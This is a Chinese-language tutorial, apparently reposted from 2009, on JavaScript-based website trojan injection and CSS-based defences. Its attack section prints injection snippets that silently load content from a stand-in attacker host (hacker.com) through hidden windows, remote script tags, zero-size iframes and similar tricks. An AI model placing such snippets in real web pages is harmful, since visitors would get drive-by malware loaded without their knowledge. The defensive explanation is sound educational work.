当前位置: 首页 > 图文教程 > 网络安全 > 杀毒防毒 > 解析Java Script木马的攻与防

杀毒防毒
来自微软的免费杀毒软件抢先试用
金山毒霸全新功能体验版抢先曝光
IRC后门病毒技术分析及手动清除方法
MSN性感鸡变种刚过,QQ病毒又来捣乱
Win XP中震荡波后应采取的措施
病毒应急处理中心提醒防范高波病毒及其变种
北京公安局、瑞星发布6月13日危险病毒警报
防御计算机病毒十大必知步骤
网吧用QQ隐私难保 黑客工具窥视QQ聊天记录
用MailSpy拦截局域网内危险的病毒邮件
如何根据名称识别计算机病毒
Norton AntiVirus 2005测试版截图大赏
快速干掉感染Internet Explorer的恶意程序
邮件病毒入侵后五个清除步骤
Win 2000防毒从安装系统时开始
木马病毒清除的通用解法
快速有效地封杀—巧利用Iris来查找蠕虫病毒
防病毒必务宝典—计算机病毒专杀进程列表
网络安全之特洛伊木马攻防战略
3721上网助手清除专家

杀毒防毒 中的 解析Java Script木马的攻与防


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-20   浏览: 58 ::
收藏到网摘: n/a

  网站挂马如今已经成为黑客发起网络攻击的最主要方式之一,因此防范来自Web的安全威胁,显得格外重要,本文将介绍一些常见的JS挂马现象以及如何去应对。
  木马一直是黑客的拿手技量。善于用木马的黑客,可以在原来的入侵基础之上达到更大的目的。如今,虽然木马的种类有很多。但其中IFRAME挂马比较早,相应的预防措施也比较多,其中用CSS配合JS脚本进行预防是主流方式。可这种预防方式也存在安全隐患,JS脚本也可以被用来挂马,令人防不胜防。我们下面要介绍反击JS挂马的方法。
  JS挂马溯源
  当IFRAME逐渐被黑客滥用的时候,有经验的安全工程师也开始研究相应的对策,一段时间内各种阻止IFRAME挂马的方法不断涌现,其中通用性较高的就是利用CSS配合JS脚本防御IFRAME挂马。
  而黑客也发现,很多网站都会让网页调用JS脚本来实现广告等诸多特效,如果将木马挂在JS脚本中,所有调用该JS脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此JS脚本挂马逐渐开始被黑客应用。
  小百科:JS脚本是JavaScript脚本语言的简称,它是一种面向对象的脚本语言,目前广泛用于动态网页的编程。需要提示大家的是,JavaScript和Java除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的。而JavaScript与Jscript也不同,Jscript是微软为了迎战JavaScript推出的脚本语言。
  虽然JavaScript作为给非程序人员的脚本语言向大众推广,但是JavaScript是一门具有丰富特性的语言,它有着和其他编程语言一样的复杂性。实际上,你必须对JS有扎实的理解才能用它来编写比较复杂的程序,作为一名安全工程师,掌握JS脚本在工作中会有很大的帮助。
  挂马原理一点通
  JS脚本挂马对于黑客而言,可以说优点多得数不过来,首先JS脚本在挂马时可以直接将JS代码写在网页中,也可以通过注入网页,让网站远程调取异地JS脚本。此外,JS挂马插入Web页面的方法有几十种,绝对够菜鸟们眼花缭乱,无从辨别木马在何处。
  IFRAME挂马相对于安全工程师而言,如同一个穿着鲜红颜色外衣的劫匪,招摇而扎眼,很容易被发现。但是利用JS挂马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在安全工程师搜查时,很容易蒙混过关,导致木马久杀不绝。
  JS挂马攻防实录
  攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。
  这种方法使用的关键代码如下:
  window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
  这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。
  另外一种JS挂马方式是,黑客先将挂马脚本代码,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:
  <script src="http://www.hacker.com/木马脚本.js"></script>
  或者
  document.write("<div style='display:none'>")
  document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
  document.write("</div>")
  就成功地将木马挂到了对方的网页中了。
  小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:
  <div style="behaviour: url(http://www.hacker.com/木马脚本.js);">
  或者:
  <iframe src="vbscript:[挂马脚本]">
  等等……
  防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:
  iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
  不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。
  所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
  <title>让JS挂马中止的CSS代码</title>
  <style type="text/css" id="shudoo">
  /*<![CDATA[*/
  iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}
  /*]]>*/
  </style>
  我们虽然能够巧妙地利用CSS代码防范IFRAME和JS脚本挂马,但是为什么网页挂马还是层出不穷?这恐怕就要说一说CSS挂马了,下次我们详细讨论。